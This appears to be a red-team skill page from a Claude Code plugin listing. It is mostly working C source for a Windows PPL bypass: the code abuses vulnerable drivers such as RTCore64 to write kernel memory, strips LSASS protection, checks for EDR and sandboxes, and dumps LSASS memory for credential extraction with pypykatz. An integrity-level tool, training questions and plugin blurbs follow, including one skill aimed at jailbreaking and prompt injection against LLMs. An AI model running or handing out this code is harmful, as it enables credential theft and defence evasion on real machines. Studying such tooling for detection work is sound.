return DeviceIoControl(hDevice, driver->write_ioctl,
&request, sizeof(request),
NULL, 0,
&bytes_returned, NULL);
}
return FALSE;
}
// Get kernel symbol address by loading ntoskrnl.exe in usermode
ULONG_PTR GetKernelSymbol(ULONG_PTR kernel_base, const char* symbol_name) {
HMODULE hNtos = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtos) {
return 0;
}
PVOID pUserAddr = GetProcAddress(hNtos, symbol_name);
if (!pUserAddr) {
FreeLibrary(hNtos);
return 0;
}
ULONG_PTR rva = (ULONG_PTR)pUserAddr - (ULONG_PTR)hNtos;
FreeLibrary(hNtos);
return kernel_base + rva;
}
// Test if RTCore64 read is working
BOOL TestKernelRead(HANDLE hDevice, int driver_index) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
DWORD bytes_returned = 0;
// Simple test read using correct 48-byte structure
RTCORE64_MEMORY request = {0};
request.Address = 0xFFFFF80000000000ULL; // Typical kernel address
request.ReadSize = 4;
BOOL result = DeviceIoControl(hDevice, driver->read_ioctl,
&request, sizeof(request),
&request, sizeof(request),
&bytes_returned, NULL);
printf("[DEBUG] Test IOCTL result: %d, bytes_returned: %d, GetLastError: %d\n",
result, bytes_returned, GetLastError());
printf("[DEBUG] request.Value: 0x%08X\n", request.Value);
return result;
}
// Scan for PID offset by looking for value 4 (System process PID)
// Returns 0 if not found or if scan is disabled for safety
ULONG ScanForPidOffset(HANDLE hDevice, DWORD ioctl, DWORD64 eprocess_base) {
printf("[*] Scanning for PID offset (looking for value 4)...\n");
printf("[!] WARNING: Scanning can be dangerous - using known offsets first\n");
// Validate EPROCESS base looks like kernel address
if ((eprocess_base & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid EPROCESS base address: 0x%llX\n", eprocess_base);
return 0;
}
// Known good offsets to check first (from Vergilius Project)
// Order matters - try most common first
ULONG known_offsets[] = {
0x1D0, // Win11 24H2 Layout 1
0x440, // Win11 24H2 Layout 2, Win10 20H1+
0x2E8, // Win10 1809-1909
0x2E0, // Win10 older
0x448 // Alternative
};
int num_known = sizeof(known_offsets) / sizeof(known_offsets[0]);
for (int i = 0; i < num_known; i++) {
__try {
DWORD value = ReadKernelDWORD(hDevice, ioctl, eprocess_base + known_offsets[i]);
printf(" Offset 0x%X: value = %u (0x%X)\n", known_offsets[i], value, value);
if (value == 4) {
printf("[+] Found PID=4 at known offset 0x%X\n", known_offsets[i]);
return known_offsets[i];
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception reading offset 0x%X\n", known_offsets[i]);
}
}
printf("[-] PID not found at known offsets\n");
printf("[!] NOT performing full scan to avoid potential crashes\n");
printf("[!] Please verify offsets using WinDbg: dt nt!_EPROCESS\n");
return 0;
}
// Scan for ActiveProcessLinks offset (look for valid kernel pointers)
ULONG ScanForLinksOffset(HANDLE hDevice, DWORD ioctl, DWORD64 eprocess_base, ULONG pid_offset) {
printf("[*] Scanning for ActiveProcessLinks offset...\n");
printf("[*] EPROCESS base: 0x%llX, PID offset: 0x%X\n", eprocess_base, pid_offset);
// Known offsets for ActiveProcessLinks (typically PID offset + 8)
ULONG known_links_offsets[] = {
pid_offset + 8, // Most common: right after UniqueProcessId
0x1D8, // Win11 24H2 Layout 1
0x448, // Win11 24H2 Layout 2, Win10 20H1+
0x2F0, // Win10 1809-1909
0x2E8 // Win10 older
};
int num_known = sizeof(known_links_offsets) / sizeof(known_links_offsets[0]);
for (int i = 0; i < num_known; i++) {
ULONG offset = known_links_offsets[i];
__try {
DWORD64 flink = ReadKernelQWORD(hDevice, ioctl, eprocess_base + offset);
// Validate it looks like a kernel pointer
if ((flink & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL ||
flink == 0xFFFFFFFFFFFFFFFFULL) {
continue;
}
// Read Blink to verify it's a LIST_ENTRY
DWORD64 blink = ReadKernelQWORD(hDevice, ioctl, eprocess_base + offset + 8);
if ((blink & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL ||
blink == 0xFFFFFFFFFFFFFFFFULL) {
continue;
}
printf(" Testing offset 0x%X: Flink=0x%llX, Blink=0x%llX\n", offset, flink, blink);
// Verify by following the link and checking PID
DWORD64 next_eprocess = flink - offset;
// Validate next EPROCESS address
if ((next_eprocess & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
continue;
}
DWORD next_pid = ReadKernelDWORD(hDevice, ioctl, next_eprocess + pid_offset);
if (next_pid > 0 && next_pid < 65536) {
printf("[+] Found valid ActiveProcessLinks at offset 0x%X (next PID: %u)\n",
offset, next_pid);
return offset;
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception testing offset 0x%X\n", offset);
}
}
printf("[-] Could not find valid ActiveProcessLinks offset\n");
return 0;
}
// Get PsActiveProcessHead - try multiple methods
ULONG_PTR GetPsActiveProcessHead(HANDLE hDevice, int driver_index, ULONG_PTR kernel_base) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
// Method 1: Try direct export (works on older Windows)
ULONG_PTR ps_head = GetKernelSymbol(kernel_base, "PsActiveProcessHead");
if (ps_head) {
printf("[+] PsActiveProcessHead via export: 0x%llX\n", ps_head);
return ps_head;
}
// Method 2: Use PsInitialSystemProcess (always exported)
ULONG_PTR ps_initial = GetKernelSymbol(kernel_base, "PsInitialSystemProcess");
if (ps_initial) {
printf("[+] PsInitialSystemProcess address: 0x%llX\n", ps_initial);
printf("[*] Reading System EPROCESS pointer...\n");
__try {
DWORD64 system_eprocess = ReadKernelQWORD(hDevice, driver->read_ioctl, ps_initial);
// Validate the EPROCESS pointer looks reasonable
if (system_eprocess == 0 || system_eprocess == 0xFFFFFFFFFFFFFFFF) {
printf("[-] Invalid System EPROCESS pointer: 0x%llX\n", system_eprocess);
return 0;
}
// Check it looks like a kernel address
if ((system_eprocess & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] System EPROCESS doesn't look like kernel address: 0x%llX\n", system_eprocess);
return 0;
}
printf("[+] System EPROCESS: 0x%llX\n", system_eprocess);
// Try configured offset first
printf("[*] Testing PID at offset 0x%X...\n", g_eprocess_offsets.UniqueProcessId);
DWORD pid = ReadKernelDWORD(hDevice, driver->read_ioctl,
system_eprocess + g_eprocess_offsets.UniqueProcessId);
printf("[*] Value at offset 0x%X: %u (0x%X)\n",
g_eprocess_offsets.UniqueProcessId, pid, pid);
if (pid == 4) {
printf("[+] Verified System EPROCESS - PID matches!\n");
// Also verify ActiveProcessLinks looks valid before using
DWORD64 flink = ReadKernelQWORD(hDevice, driver->read_ioctl,
system_eprocess + g_eprocess_offsets.ActiveProcessLinks);
printf("[*] ActiveProcessLinks.Flink: 0x%llX\n", flink);
if ((flink & 0xFFFF800000000000ULL) == 0xFFFF800000000000ULL &&
flink != 0xFFFFFFFFFFFFFFFFULL) {
printf("[+] ActiveProcessLinks looks valid\n");
return system_eprocess + g_eprocess_offsets.ActiveProcessLinks;
} else {
printf("[-] ActiveProcessLinks doesn't look valid\n");
}
}
// Offset wrong - try scanning known offsets only (safer)
printf("[!] Configured offset wrong, trying known offsets...\n");
ULONG found_pid_offset = ScanForPidOffset(hDevice, driver->read_ioctl, system_eprocess);
if (found_pid_offset) {
g_eprocess_offsets.UniqueProcessId = found_pid_offset;
// Find ActiveProcessLinks offset
ULONG found_links_offset = ScanForLinksOffset(hDevice, driver->read_ioctl,
system_eprocess, found_pid_offset);
if (found_links_offset) {
g_eprocess_offsets.ActiveProcessLinks = found_links_offset;
// Protection offset varies by build - use conservative estimate
// Typically 0x200-0x900 bytes into structure
g_eprocess_offsets.Protection = 0x87A; // Common for Win10/11
printf("[+] Updated offsets:\n");
printf(" UniqueProcessId: 0x%X\n", g_eprocess_offsets.UniqueProcessId);
printf(" ActiveProcessLinks: 0x%X\n", g_eprocess_offsets.ActiveProcessLinks);
printf(" Protection: 0x%X (estimated)\n", g_eprocess_offsets.Protection);
return system_eprocess + g_eprocess_offsets.ActiveProcessLinks;
} else {
printf("[-] Could not find ActiveProcessLinks - aborting for safety\n");
}
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception while reading System EPROCESS\n");
}
}
printf("[-] Could not find process list head\n");
printf("[!] This may require manual offset verification with WinDbg\n");
return 0;
}
ULONG_PTR FindEprocessByPid(HANDLE hDevice, int driver_index, DWORD pid) {
printf("[*] Finding EPROCESS for PID %d...\n", pid);
// Get kernel base
ULONG_PTR kernel_base = LeakKernelBase();
if (kernel_base == 0) {
return 0;
}
// Get process list starting point
ULONG_PTR list_start = GetPsActiveProcessHead(hDevice, driver_index, kernel_base);
if (list_start == 0) {
printf("[-] Failed to find process list\n");
return 0;
}
// Read the LIST_ENTRY at our starting point
LIST_ENTRY head;
if (!ReadKernelMemory(hDevice, driver_index, list_start, &head, sizeof(head))) {
printf("[-] Failed to read process list\n");
return 0;
}
// Walk the linked list
ULONG_PTR current_entry = (ULONG_PTR)head.Flink;
ULONG_PTR start_entry = current_entry;
do {
// Calculate EPROCESS base from ActiveProcessLinks offset
ULONG_PTR eprocess = current_entry - g_eprocess_offsets.ActiveProcessLinks;
// Read the PID
DWORD current_pid;
if (!ReadKernelMemory(hDevice, driver_index,
eprocess + g_eprocess_offsets.UniqueProcessId,
¤t_pid, sizeof(current_pid))) {
break;
}
if (current_pid == pid) {
printf("[+] Found EPROCESS for PID %d: 0x%llX\n", pid, eprocess);
return eprocess;
}
// Move to next entry
LIST_ENTRY next_entry;
if (!ReadKernelMemory(hDevice, driver_index, current_entry, &next_entry, sizeof(next_entry))) {
break;
}
current_entry = (ULONG_PTR)next_entry.Flink;
// Safety check to prevent infinite loop
if (current_entry == start_entry) {
break;
}
} while (current_entry != start_entry);
printf("[-] EPROCESS for PID %d not found\n", pid);
return 0;
}
BOOL BypassPplProtection(HANDLE hDevice, int driver_index, DWORD lsass_pid) {
printf("[*] Bypassing PPL protection for LSASS (PID %d)...\n", lsass_pid);
// Find LSASS EPROCESS
ULONG_PTR lsass_eprocess = FindEprocessByPid(hDevice, driver_index, lsass_pid);
if (lsass_eprocess == 0) {
return FALSE;
}
// Read current protection - use ULONG_PTR to avoid truncation
UCHAR current_protection;
ULONG_PTR protection_offset = lsass_eprocess + g_eprocess_offsets.Protection;
if (!ReadKernelMemory(hDevice, driver_index, protection_offset,
¤t_protection, sizeof(current_protection))) {
printf("[-] Failed to read current protection\n");
return FALSE;
}
printf("[*] Current PPL protection: 0x%02X\n", current_protection);
// Remove protection by writing 0
UCHAR zero_protection = 0;
printf("[*] Attempting kernel write...\n");
if (!WriteKernelMemory(hDevice, driver_index, protection_offset,
&zero_protection, sizeof(zero_protection))) {
printf("[-] Failed to remove PPL protection\n");
return FALSE;
}
printf("[+] PPL protection removed successfully\n");
// Verify protection was removed
UCHAR verify_protection;
if (ReadKernelMemory(hDevice, driver_index, protection_offset,
&verify_protection, sizeof(verify_protection))) {
printf("[*] Verification - New protection: 0x%02X\n", verify_protection);
if (verify_protection != 0) {
printf("[!] WARNING: Protection value is not 0 - write may have failed\n");
return FALSE;
}
}
return TRUE;
}
// Fast direct memory dump - bypasses MiniDumpWriteDump overhead
BOOL FastDumpLsass(DWORD lsass_pid, const char* output_path) {
printf("[*] Fast-dumping LSASS memory to %s...\n", output_path);
// Open LSASS with full access
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsass_pid);
if (hLsass == NULL) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened LSASS with PROCESS_ALL_ACCESS\n");
// Query memory regions
MEMORY_BASIC_INFORMATION mbi;
SIZE_T address = 0;
SIZE_T total_dumped = 0;
DWORD start_time = GetTickCount();
// Create dump file
HANDLE hFile = CreateFileA(output_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
printf("[*] Scanning memory regions");
// Allocate 1MB buffer for fast reads
BYTE* buffer = (BYTE*)VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer) {
printf("[-] Failed to allocate buffer\n");
CloseHandle(hFile);
CloseHandle(hLsass);
return FALSE;
}
int regions_dumped = 0;
// Walk memory regions
while (VirtualQueryEx(hLsass, (LPCVOID)address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
// Only dump committed, readable memory (skip guard pages, free regions)
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_READONLY | PAGE_READWRITE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE)) &&
!(mbi.Protect & PAGE_GUARD)) {
SIZE_T bytes_read = 0;
if (ReadProcessMemory(hLsass, (LPCVOID)address, buffer, mbi.RegionSize, &bytes_read)) {
DWORD bytes_written = 0;
WriteFile(hFile, buffer, (DWORD)bytes_read, &bytes_written, NULL);
total_dumped += bytes_read;
regions_dumped++;
// Progress indicator every 10 regions
if (regions_dumped % 10 == 0) {
printf(".");
fflush(stdout);
}
}
}
address += mbi.RegionSize;
// Safety check - don't scan beyond user space
if (address >= 0x7FFFFFFFFFFF) break;
}
VirtualFree(buffer, 0, MEM_RELEASE);
CloseHandle(hFile);
CloseHandle(hLsass);
DWORD elapsed = (GetTickCount() - start_time) / 1000;
if (elapsed == 0) elapsed = 1; // Avoid division by zero
printf("\n");
printf("[+] Fast dump completed\n");
printf("[*] Regions dumped: %d\n", regions_dumped);
printf("[*] Total size: %.2f MB\n", total_dumped / (1024.0 * 1024.0));
printf("[*] Time taken: %d seconds\n", elapsed);
printf("[*] Dump speed: %.2f MB/s\n", (total_dumped / (1024.0 * 1024.0)) / elapsed);
printf("\n[!] Note: This is a raw memory dump, not a minidump format\n");
printf("[!] For credential extraction, use the standard MiniDumpWriteDump method\n");
printf("[!] This fast method is for demonstration/comparison only\n");
return TRUE;
}
// Standard minidump with progress callback
BOOL CALLBACK MiniDumpCallback(
PVOID CallbackParam,
const PMINIDUMP_CALLBACK_INPUT CallbackInput,
PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
) {
if (CallbackInput->CallbackType == ModuleCallback) {
printf(".");
fflush(stdout);
return TRUE;
}
return TRUE;
}
BOOL DumpLsassMemory(DWORD lsass_pid, const char* output_path) {
printf("[*] Dumping LSASS memory to %s...\n", output_path);
// Open LSASS with full access
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsass_pid);
if (hLsass == NULL) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened LSASS with PROCESS_ALL_ACCESS\n");
// Create dump file
HANDLE hFile = CreateFileA(output_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
printf("[*] Creating minidump (pypykatz-compatible format)");
DWORD start_time = GetTickCount();
// Use MiniDumpWithDataSegs - faster and sufficient for credentials
MINIDUMP_TYPE dump_type = (MINIDUMP_TYPE)(
MiniDumpWithDataSegs |
MiniDumpWithHandleData |
MiniDumpWithUnloadedModules |
MiniDumpWithProcessThreadData
);
MINIDUMP_CALLBACK_INFORMATION callback_info;
callback_info.CallbackRoutine = MiniDumpCallback;
callback_info.CallbackParam = NULL;
BOOL success = MiniDumpWriteDump(
hLsass, lsass_pid, hFile,
dump_type,
NULL, NULL, &callback_info
);
printf("\n");
DWORD elapsed = (GetTickCount() - start_time) / 1000;
if (elapsed == 0) elapsed = 1;
if (success) {
LARGE_INTEGER file_size;
GetFileSizeEx(hFile, &file_size);
printf("[+] LSASS dump created successfully\n");
printf("[*] Dump size: %.2f MB\n", file_size.QuadPart / (1024.0 * 1024.0));
printf("[*] Time taken: %d seconds\n", elapsed);
printf("[*] Dump speed: %.2f MB/s\n",
(file_size.QuadPart / (1024.0 * 1024.0)) / elapsed);
} else {
printf("[-] MiniDumpWriteDump failed: %d\n", GetLastError());
}
CloseHandle(hFile);
CloseHandle(hLsass);
return success;
}
int main(int argc, char* argv[]) {
printf(" PPL Bypass - Multi-Driver Support\n\n");
// Initialize anti-analysis
InitializeAntiAnalysis();
if (g_anti_ctx.is_edr_present && g_anti_ctx.stealth_level < 3) {
printf("[!] EDR detected - consider using higher stealth level\n");
}
// Enumerate vulnerable drivers
EnumerateVulnerableDrivers();
// Find a loaded vulnerable driver
int driver_index = -1;
for (int i = 0; i < DRIVER_COUNT; i++) {
if (g_vulnerable_drivers[i].is_loaded) {
driver_index = i;
break;
}
}
if (driver_index == -1) {
printf("[-] No vulnerable drivers found\n");
printf("[*] Consider loading a vulnerable driver first\n");
return 1;
}
printf("[+] Using driver: %ls (CVE-%d)\n",
g_vulnerable_drivers[driver_index].name,
g_vulnerable_drivers[driver_index].cve_year);
// Detect EPROCESS offsets
if (!DetectEprocessOffsets()) {
return 1;
}
// Open the vulnerable driver
HANDLE hDevice = OpenVulnerableDriver(driver_index);
if (hDevice == INVALID_HANDLE_VALUE) {
return 1;
}
// Find LSASS PID
printf("[*] Finding LSASS process...\n");
DWORD lsass_pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) {
lsass_pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
}
if (lsass_pid == 0) {
printf("[-] LSASS process not found\n");
CloseHandle(hDevice);
return 1;
}
printf("[+] Found LSASS PID: %d\n", lsass_pid);
// Bypass PPL protection
if (!BypassPplProtection(hDevice, driver_index, lsass_pid)) {
printf("[-] PPL bypass failed\n");
CloseHandle(hDevice);
return 1;
}
// Dump LSASS memory - use fast method in VMs
char dump_path[MAX_PATH];
sprintf_s(dump_path, sizeof(dump_path), "lsass_dump_%d.raw", lsass_pid);
printf("\n[*] Dumping LSASS memory...\n");
// Check if we're in a VM or sandbox
if (g_anti_ctx.is_vm || g_anti_ctx.is_sandbox || g_anti_ctx.stealth_level >= 2) {
printf("[*] VM/Sandbox detected - using fast raw dump method\n");
printf("[!] MiniDumpWriteDump is extremely slow in VMs due to memory introspection\n");
if (FastDumpLsass(lsass_pid, dump_path)) {
printf("\n[+] PPL bypass completed successfully!\n");
printf("[*] Raw dump saved to: %s\n", dump_path);
if (g_anti_ctx.is_edr_present) {
printf("\n[!] EDR was present - monitor for alerts\n");
}
} else {
printf("[-] Fast dump failed\n");
CloseHandle(hDevice);
return 1;
}
} else {
// Physical machine - try standard minidump
printf("[*] Physical machine detected - using standard minidump\n");
char minidump_path[MAX_PATH];
sprintf_s(minidump_path, sizeof(minidump_path), "lsass_dump_%d.dmp", lsass_pid);
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsass_pid);
if (!hLsass) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
CloseHandle(hDevice);
return 1;
}
HANDLE hFile = CreateFileA(minidump_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
CloseHandle(hDevice);
return 1;
}
MINIDUMP_TYPE dump_type = (MINIDUMP_TYPE)(
MiniDumpWithDataSegs |
MiniDumpWithHandleData |
MiniDumpWithUnloadedModules |
MiniDumpWithProcessThreadData
);
BOOL success = MiniDumpWriteDump(
hLsass, lsass_pid, hFile,
dump_type,
NULL, NULL, NULL
);
CloseHandle(hFile);
CloseHandle(hLsass);
if (success) {
printf("[+] Minidump completed successfully\n");
printf("\n[+] PPL bypass completed successfully!\n");
printf("[*] LSASS dump saved to: %s\n", minidump_path);
printf("\n[*] Extract credentials with pypykatz:\n");
printf(" pypykatz lsa minidump %s\n", minidump_path);
} else {
printf("[-] MiniDumpWriteDump failed: %d\n", GetLastError());
printf("[*] Falling back to fast raw dump...\n");
if (FastDumpLsass(lsass_pid, dump_path)) {
printf("\n[+] PPL bypass completed with raw dump!\n");
printf("[*] Raw dump saved to: %s\n", dump_path);
} else {
printf("[-] All dump methods failed\n");
CloseHandle(hDevice);
return 1;
}
}
}
// Cleanup
CloseHandle(hDevice);
printf("\n[*] Operation completed - exiting cleanly\n");
return 0;
}
Why doesn't Microsoft completely prevent PPL bypass?
How would you detect PPL bypass attempts?
What's the risk/benefit of using kernel drivers for bypass?
How does PPL interact with Credential Guard?
Could a future Windows version make PPL bypass impossible?
Windows uses multiple layers of process isolation beyond the traditional user/admin boundary. This day teaches you to understand and defeat these isolation mechanisms.
┌─────────────────────────────────────────────────────────────────┐
│ Windows Integrity Level Architecture │
├─────────────────────────────────────────────────────────────────┤
│ │
│ INTEGRITY LEVELS (Mandatory Labels): │
│ ───────────────────────────────────── │
│ System (S-1-16-16384) │ Services, kernel-mode │
│ High (S-1-16-12288) │ Elevated admin processes │
│ Medium (S-1-16-8192) │ Standard user processes │
│ Low (S-1-16-4096) │ Browser renderers, temp folders │
│ Untrusted (S-1-16-0) │ Most restricted │
│ │
│ MANDATORY POLICY: │
│ ───────────────── │
│ No-Write-Up: Lower IL cannot write to higher IL objects │
│ No-Read-Up: Lower IL cannot read higher IL objects │
│ No-Execute-Up: Lower IL cannot execute higher IL binaries │
│ │
│ DEFAULT POLICY: No-Write-Up only │
│ -> A Low-IL process CAN read Medium-IL files by default! │
│ │
│ ATTACK IMPLICATIONS: │
│ ───────────────────── │
│ Low IL -> Medium IL: │
│ ├── Can read files, registry (unless explicitly labeled) │
│ ├── Cannot write to Medium-IL system locations (Windows, PF) │
│ ├── CAN write to own user files (owner rights override IL) │
│ ├── Can write to %LOCALAPPDATA%\Low, %TEMP%\Low │
│ ├── Can communicate via COM, shared memory │
│ └── Can exploit higher-IL services listening on interfaces │
│ │
└─────────────────────────────────────────────────────────────────┘
// integrity_level_tool.c - Enumerate integrity levels
// Compile: cl src\integrity_level_tool.c /Fe:bin\integrity_level_tool.exe advapi32.lib
#include <windows.h>
#include <sddl.h>
#include <stdio.h>
#include <errno.h>
// Well-known integrity level SIDs
#define INTEGRITY_UNTRUSTED_SID "S-1-16-0"
#define INTEGRITY_LOW_SID "S-1-16-4096"
#define INTEGRITY_MEDIUM_SID "S-1-16-8192"
#define INTEGRITY_HIGH_SID "S-1-16-12288"
#define INTEGRITY_SYSTEM_SID "S-1-16-16384"
const char* GetIntegrityLevelName(DWORD level) {
switch (level) {
case 0x0000: return "Untrusted";
case 0x1000: return "Low";
case 0x2000: return "Medium";
case 0x2100: return "Medium Plus";
case 0x3000: return "High";
case 0x4000: return "System";
case 0x5000: return "Protected Process";
default: return "Unknown";
}
}
void GetProcessIntegrityLevel(HANDLE hProcess) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed: %d\n", GetLastError());
return;
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwSize);
PTOKEN_MANDATORY_LABEL pLabel = (PTOKEN_MANDATORY_LABEL)malloc(dwSize);
if (GetTokenInformation(hToken, TokenIntegrityLevel, pLabel, dwSize, &dwSize)) {
DWORD integrityLevel = *GetSidSubAuthority(
pLabel->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(pLabel->Label.Sid) - 1)
);
printf("[+] Integrity Level: %s (0x%04X)\n",
GetIntegrityLevelName(integrityLevel), integrityLevel);
// Show the SID
LPSTR sidString = NULL;
ConvertSidToStringSidA(pLabel->Label.Sid, &sidString);
printf(" SID: %s\n", sidString);
LocalFree(sidString);
}
free(pLabel);
CloseHandle(hToken);
}
BOOL TestIntegrityRestrictions(const char* label) {
printf("\n[*] Testing %s Integrity Level restrictions:\n", label);
// Test 1: Write to user profile
printf(" [TEST] Write to %%USERPROFILE%%\\il_test.txt: ");
FILE* f = fopen("C:\\Users\\dev\\il_test.txt", "w");
if (f) {
fprintf(f, "test from %s IL\n", label);
fclose(f);
printf("SUCCESS\n");
} else {
printf("FAILED (errno: %d)\n", errno);
}
// Test 2: Write to registry
printf(" [TEST] Write to HKCU\\Software\\ILTest: ");
HKEY hKey;
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\ILTest", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (result == ERROR_SUCCESS) {
RegSetValueExA(hKey, label, 0, REG_SZ, (BYTE*)label, strlen(label) + 1);
RegCloseKey(hKey);
printf("SUCCESS\n");
} else {
printf("FAILED (error: %ld)\n", result);
}
// Test 3: Write to system location
printf(" [TEST] Write to C:\\Windows\\il_test.txt: ");
f = fopen("C:\\Windows\\il_test.txt", "w");
if (f) {
fprintf(f, "test\n");
fclose(f);
printf("SUCCESS\n");
} else {
printf("FAILED (errno: %d)\n", errno);
}
// Test 4: Read from user profile
printf(" [TEST] Read from %%USERPROFILE%%\\Desktop\\desktop.ini: ");
f = fopen("C:\\Users\\dev\\Desktop\\desktop.ini", "r");
if (f) {
fclose(f);
printf("SUCCESS\n");
} else {
printf("FAILED (errno: %d)\n", errno);
}
return TRUE;
}
BOOL SpawnLowIntegrityProcess(const char* cmdLine) {
printf("[*] Spawning Low-IL process: %s\n", cmdLine);
HANDLE hToken, hNewToken;
PSID pLowSid = NULL;
// Get current process token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY |
TOKEN_ADJUST_DEFAULT | TOKEN_ASSIGN_PRIMARY, &hToken)) {
printf("[-] OpenProcessToken failed\n");
return FALSE;
}
// Duplicate token with all access rights
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
TokenPrimary, &hNewToken)) {
printf("[-] DuplicateTokenEx failed: %d\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
// Create Low integrity SID
ConvertStringSidToSidA(INTEGRITY_LOW_SID, &pLowSid);
// Set token integrity level to Low
TOKEN_MANDATORY_LABEL label = {0};
label.Label.Attributes = SE_GROUP_INTEGRITY;
label.Label.Sid = pLowSid;
if (!SetTokenInformation(hNewToken, TokenIntegrityLevel,
&label, sizeof(label) + GetLengthSid(pLowSid))) {
printf("[-] SetTokenInformation failed\n");
LocalFree(pLowSid);
CloseHandle(hNewToken);
CloseHandle(hToken);
return FALSE;
}
// Create process with low integrity token
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
char cmdBuf[MAX_PATH];
strcpy(cmdBuf, cmdLine);
if (CreateProcessAsUserA(hNewToken, NULL, cmdBuf, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi)) {
printf("[+] Low-IL process created, PID: %d\n", pi.dwProcessId);
// Wait for process to complete
WaitForSingleObject(pi.hProcess, INFINITE);
What SKILL.md sets; muted values are Claude Code's defaults
/red-team-skills:offensive-windows-boundariesfrom red-team-skills
red-team-skills@giofornari is listed by giofornari/skills — review the source before installing
npx claudepluginhub giofornari/skills --plugin red-team-skills61 skills in this plugin
/offensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments./offensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders./offensive-ai-securityAI/LLM security offensive checklist: prompt injection, jailbreaking, model extraction, training data poisoning, adversarial inputs, LLM-assisted attack automation, and AI system reconnaissance. Use when assessing AI/ML systems, red-teaming LLMs, or researching AI attack vectors./offensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures./offensive-basic-exploitationWeek 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack 